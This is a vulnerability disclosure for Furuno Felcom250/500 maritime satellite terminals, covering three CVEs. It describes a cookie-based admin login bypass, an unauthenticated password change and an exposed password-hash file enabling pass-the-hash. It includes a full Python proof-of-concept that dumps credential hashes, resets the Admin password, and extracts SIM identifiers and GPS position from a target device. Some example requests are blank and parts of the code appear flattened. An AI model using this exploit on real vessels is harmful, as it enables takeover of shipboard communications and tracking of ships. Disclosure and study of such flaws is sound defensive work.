Furuno Felcom250 / Felcom500 Vulnerabilities
The CyberSKR Maritime Security team identified and registered multiple vulnerabilities in the Furuno250 / Furuno500 Inmarsat FleetBroadband Systems. The vulnerabilities relate to client-side authentication (server-side auth bypass), incorrect access control (unauthorised password change) and (cleartext) password disclosure.
CVE-2018-16590: Client-Side Authentication
Admin Login (browser console): setLoginData("Admin");
Admin Cookie: Cookie: sm_login=true; sm_loginmode=Admin
Known user accounts are:
CVE-2018-16591: Incorrect Access Control
Replace <MD5_HASH> with the hash for your desired password (e.g. md5("MyNewPassword")). Replace <NEW_SMS_PASS> with your desired cleartext SMS Server password.
Example Admin Password Change:
Example SMS Server Password Change:
It was also determined these requests could be made unauthenticated.
CVE-2018-16705: (Cleartext) Password Disclosure
Through using the application, a file of interest called "/xml/permission.xml" was identified. Loading the file displayed a list of all the users and their password in an un-salted MD5 format. Furthermore, a cleartext entry for the SMS server's password is also included at the bottom.
Analysing the login process, it was determined you could then use these hash values in a "Pass-The-Hash" style attack due to the implementation. This means that in the event the cleartext value can't be ascertained from the hash, a malicious actor can still bypass the login mechanisms that are in place.
Proof of Concept Password Change (Python)
import xml.etree.ElementTree import requests import md5 import sys # Replace with your target the_ip = "http://127.0.0.1:4443" user = "Admin" # Download credentials from host def getHashes(to_check): print "[*] Downloading hashes" # Download credentials XML file dl_xml = requests.get(the_ip+"/xml/permission.xml") if(dl_xml.status_code != 200): print "[*] Error downloading credentials file" sys.exit(0) # Parse downloaded credential file parsed = xml.etree.ElementTree.fromstring(dl_xml.text) # List users and hashes if not to_check: for i in range(0,4): if i==3: print "SMS Server: "+parsed[i].text else: print parsed[i].text+": "+parsed[i].text # Check if hash update applied successfully else: for i in range(0,3): if parsed[i].text == user: if parsed[i].text == to_check: print user+": Password update verified" else: print user+": Password update mismatch" # Change user's password def changePw(new_pass): print "[*] Changing password for "+user # Generate new MD5 hash m = md5.new() m.update(new_pass) gen_md5 = m.hexdigest() # Send credential update request r = requests.get(the_ip+"/cgi-bin/sm_changepassword.cgi?"+gen_md5+"+"+gen_md5+"+"+user) # Check if change was successful if(r.status_code == 200): print "Password successfully changed: "+user+" - "+new_pass else: print "Error changing password credentials file" sys.exit(0) # Check if hash correctly updated getHashes(gen_md5) # Get device info def getInfo(): print "[*] Downloading info\n" # Download info XML file r_inf = requests.get(the_ip+"/xml/info.xml") r_gps = requests.get(the_ip+"/xml/modem_status.xml") if(r_inf.status_code != 200 or r_gps.status_code != 200): print "[*] Error downloading info file" sys.exit(0) # Parse downloaded inf file parsed_inf = xml.etree.ElementTree.fromstring(r_inf.text) parsed_gps = xml.etree.ElementTree.fromstring(r_gps.text.encode('utf-8')) print "Device Info:" print "[*] Maunfacturer: "+str(parsed_inf.text) print "[*] Model: "+str(parsed_inf.text) print "[*] Serial Number: "+str(parsed_inf.text) print print "SIM Info:" print "[*] USIMCardID: "+str(parsed_inf.text) print "[*] IMSI: "+str(parsed_inf.text) print "[*] IMEI: "+str(parsed_inf.text) print print "GPS Info:" print "[*] Lat: "+str(parsed_gps.text.encode('utf-8')) print "[*] Lat: "+str(parsed_gps.text.encode('utf-8')) print "[*] Last Update: "+str(parsed_gps.text) print "\n" def main(): getInfo() # Change 'user' password to default (01234567) changePw("01234567") if __name__ == "__main__": main()